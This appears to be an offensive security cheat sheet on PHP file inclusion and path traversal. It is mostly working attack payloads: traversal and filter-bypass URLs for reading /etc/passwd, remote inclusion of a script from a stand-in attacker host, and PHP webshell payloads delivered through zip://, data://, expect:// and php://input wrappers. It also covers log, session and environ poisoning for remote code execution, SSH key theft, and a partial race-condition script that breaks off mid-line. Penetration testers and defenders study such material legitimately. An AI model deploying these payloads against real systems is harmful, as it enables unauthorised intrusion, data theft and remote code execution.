# File Inclusion/Path traversal ## File Inclusion **Remote File Inclusion \(RFI\):** The file is loaded from a remote server \(Best: You can write the code and the server will execute it\). In php this is **disabled** by default \(**allow\_url\_include**\). **Local File Inclusion \(LFI\):** The sever loads a local file. The vulnerability occurs when the user can control in some way the file that is going to be load by the server. Vulnerable **PHP functions**: require, require\_once, include, include\_once A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ### **Linux** **Mixing several \*nix LFI lists and adding more paths I have created this one:** {% file src="../.gitbook/assets/lfi2.txt" %} A list that uses several techniques to find the file /etc/password \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** Using theses lists and deleting repetitions I have created a new one: * [https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt](https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt) * [https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/](https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal) * [https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt](https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt) * [http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/](http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/) {% file src="../.gitbook/assets/winlfi.txt" %} A list that uses several techniques to find the file /boot.ini \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** Check the LFI list of linux. ## Basic LFI and bypasses All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also \(page=http://myserver.com/phpshellcode.txt\). ```text http://example.com/index.php?page=../../../etc/passwd ``` ### traversal sequences stripped non-recursively ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte \(%00\)** Bypass the append more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\) ```text http://example.com/index.php?page=../../../etc/passwd%00 ``` This is **solved since PHP 5.4** ### **Encoding** You could use non-standard encondings like double URL encode \(and others\): ```text http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### From existent folder Maybe the back-end is checking the folder path: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### **Path truncation** Bypass the append of more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\) ```text In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/. Check if last 6 chars are passwd --> passwd/ Check if last 4 chars are ".php" --> shellcode.php/. ``` ```text http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. #With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027) http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` Always try to **start** the path **with a fake directory** \(a/\). **This vulnerability was corrected in PHP 5.3.** ### **Filter bypass tricks** ```text http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd ``` ## Basic RFI ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` ## Top 25 parameters Here’s list of top 25 parameters that could be vulnerable to local file inclusion \(LFI\) vulnerabilities \(from [link](https://twitter.com/trbughunters/status/1279768631845494787)\): ```text ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} ``` ## LFI / RFI using PHP wrappers ### Wrapper php://filter #### Base64 and rot13 The part "php://filter" is case insensitive ```text http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` #### zlib \(compression\) Can be chained with a **compression** wrapper for large files. ```text http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd ``` To read the comppression data you need to decode the base64 and read the resulting data using: ```bash php -a #Starts a php console readfile('php://filter/zlib.inflate/resource=test.deflated'); ``` **NOTE: Wrappers can be chained** ### Wrapper zip:// Upload a Zip file with a PHPShell inside and access it. ```bash echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php http://example.com/index.php?page=zip://shell.jpg%23payload.php ``` ### Wrapper data:// ```text http://example.net/?page=data://text/plain, http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+` ### Wrapper expect:// Expect has to be activated. You can execute code using this. ```text http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### Wrapper input:// Specify your payload in the POST parameters ```text http://example.com/index.php?page=php://input POST DATA: system('id'); ?> ``` ### Wrapper phar:// Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) ## LFI2RCE ### Basic RFI ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` ### Via Apache log file If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_, set inside the user agent or inside a GET parameter a php shell like `` and execute code using the "c" GET parameter. Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**. This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header. ### Via Email Send a mail to a internal account \(user@localhost\) containing `` and access to the mail _**/var/mail/USER&cmd=whoami**_ ### Via /proc/\*/fd/\* 1. Upload a lot of shells \(for example : 100\) 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process \(can be brute forced\) and $FD the file descriptor \(can be brute forced too\) ### Via /proc/self/environ Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file ```text GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: =phpinfo(); ?> ``` ### Via upload If you can upload a file, just inject the shell payload in it \(e.g : `` \). ```text http://example.com/index.php?page=path/to/uploaded/file.png ``` In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf ### Via Zip fie upload Upload a ZIP file containing a PHP shell compressed and access: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` ### Via PHP sessions Check if the website use PHP Session \(PHPSESSID\) ```text Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` In PHP these sessions are stored into _/var/lib/php5/sess\_\[PHPSESSID\]_ files ```text /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` Set the cookie to `` ```text login=1&user=&pass=password&lang=en_us.php ``` Use the LFI to include the PHP session file ```text login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Via ssh If ssh is active check which user is being used \(/proc/self/status & /etc/passwd\) and try to access **<HOME>/.ssh/id\_rsa** ### **Via** **vsftpd** _**logs**_ The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI. ### Via phpinfo\(\) \(file\_uploads = on\) To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo\(\) is displayed, "file\_uploads = on" and the server has to be able to write in the "/tmp" directory.** [https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py) **Turotial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) You need to fix the exploit \(change **=>** for **=>**\). To do so you can do: ```text sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py ``` You have to change also the **payload** at the beginning of the exploit \(for a php-rev-shell for example\), the **REQ1** \(this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r_\), and **LFIREQ** \(this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char\) {% file src="../.gitbook/assets/lfi-with-phpinfo-assistance.pdf" %} #### Theory If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted. Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted. In **Windows** the files are usually stored in **C:\Windows\temp\php<<** In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig\(\)**". **phpinfo\(\)** **PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** \(using big headers\) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo\(\) to be returned** \(where the name of the temporary file is\) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability. **Python script to try to bruteforce the name \(if length = 6\)** ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: #